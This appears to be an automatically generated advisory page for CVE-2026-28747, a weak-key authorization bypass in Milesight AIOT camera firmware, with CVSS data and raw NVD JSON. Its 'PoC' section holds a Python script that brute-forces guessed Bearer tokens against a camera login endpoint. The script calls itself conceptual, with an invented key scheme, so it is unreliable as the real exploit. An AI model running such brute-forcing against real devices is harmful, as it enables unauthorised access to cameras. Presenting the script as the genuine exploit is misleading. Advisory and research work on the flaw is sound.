Security Vulnerability Report
中文
CVE-2026-28747 CVSS 7.1 HIGH

CVE-2026-28747

Published: 2026-04-27 23:16:03
Last Modified: 2026-04-28 20:11:57

Description

A weak key generation vulnerability exists in specific firmware versions of Milesight AIOT cameras allows authorization to be bypassed.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Milesight AIOT cameras 特定固件版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import itertools # Conceptual Proof of Concept (PoC) for CVE-2026-28747 # This script demonstrates how an attacker might attempt to bypass # authorization using weak key generation logic. TARGET_IP = "192.168.1.100" TARGET_URL = f"http://{TARGET_IP}/api/v1/login" # Simulating the weak key generation space # In a real scenario, this logic would be reversed from the firmware def generate_weak_keys(seed_range): weak_keys = [] for i in seed_range: # Example of a weak transformation weak_key = f"key_{i:04d}" weak_keys.append(weak_key) return weak_keys def attempt_auth_bypass(url, keys): print(f"[*] Attempting auth bypass on {url}...") for key in keys: headers = { "User-Agent": "Mozilla/5.0", "Authorization": f"Bearer {key}" # Hypothetical header } try: response = requests.get(url, headers=headers, timeout=2) if response.status_code == 200: print(f"[+] Bypass successful! Valid key found: {key}") print(f"[+] Response: {response.text}") return True except requests.RequestException as e: continue print("[-] Bypass failed.") return False if __name__ == "__main__": # Generate a limited set of keys based on possible weak seeds potential_keys = generate_weak_keys(range(0, 1000)) attempt_auth_bypass(TARGET_URL, potential_keys)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-28747", "sourceIdentifier": "[email protected]", "published": "2026-04-27T23:16:02.820", "lastModified": "2026-04-28T20:11:56.713", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weak key generation vulnerability exists in specific firmware versions of Milesight AIOT cameras allows authorization to be bypassed."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-113-03.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-113-03", "source": "[email protected]"}, {"url": "https://www.milesight.com/support/download/firmware", "source": "[email protected]"}]}}